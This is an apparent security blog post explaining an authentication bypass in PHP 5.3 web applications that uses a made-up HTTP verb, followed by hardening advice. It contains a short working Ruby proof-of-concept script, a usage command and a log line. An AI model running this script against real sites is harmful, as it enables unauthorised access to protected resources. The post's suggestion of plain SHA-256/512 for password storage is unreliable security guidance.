Authentication is a cool topic in application security research nowadays. Last April I posted about a real world security assessment activities over a friend of mine PHP powered portal.

Using a malformed HTTP verb to request a protected resource, it is possible to bypass the authentication mechanism for a PHP 5.3 written web application.

The post I wrote was mentioned in Jeremiah Grossman list for the top 10 hacking technique of 2012

Original work by…

I recap that almost 3 years ago researchers found that it was possible to bypass basic auth in Zend powered portal and that this vulnerability is not Zend specific.

In order to support custom WebDAV verbs, PHP interpreter when it founds an unknown verb it gives the script the control about how to handle that method. Of course this can be mitigated in .htaccess file specifying which HTTP verbs are allowed let all other verbs to be discarded.

The attacking script

A raw ruby script implementing the technique described in my post is the following:

``` ruby dammi.rb #!/usr/bin/env ruby

require ‘net/http’

class Dammi < Net::HTTPRequest METHOD=”DAMMI” REQUEST_HAS_BODY = false RESPONSE_HAS_BODY = true end

raise “usage: dammi url page” if ARGV.length != 2

begin http=Net::HTTP.new(ARGV[0], 80) r_a = http.request(Dammi.new(ARGV[1])) puts r_a.body rescue => e puts e.message end


The script needs two parameters: the host and the url to be requested. **There
is no** error checking on parameter passed from command line so you may want to
add your own in order to have a pure defensive code.

$ ./dammi.rb localhost /protected_resource


The following line is in my webserver's log:

127.0.0.1 - - [13/Dec/2012 08:14:17] “DAMMI /protected_resource HTTP/1.1” 404 40 0.0008 ```

Off by one

The fundamental rule here is that HTTP Basic Authentication is something you want to use in your development or testing environment to protect your application before you deploy it in production.

I rather suggest you not to use HTTP Basic Authentication at all, choosing a strong authentication mechanism. Supporting OAuth is a great deal since you demand all credentials issue to a well known authentication provider (e.g. Twitter, Facebook, Github.).

Look at this post if you need to implement OAuth in a Padrino powered application using Omniauth.

As general rules, you may also want to apply:

  1. Backends must be strongly protected by a login form with username and passwords
  2. Passwords must not be saved in plaintext but encrypted using SHA-256 or SHA-512. Using bcrypt is even better.
  3. Login forms must be served over an HTTPS connection
  4. Your server side scripts must always check for authentication token in the HTTP session or wherever you choose to save it
  5. Never trust users.

Enjoy it!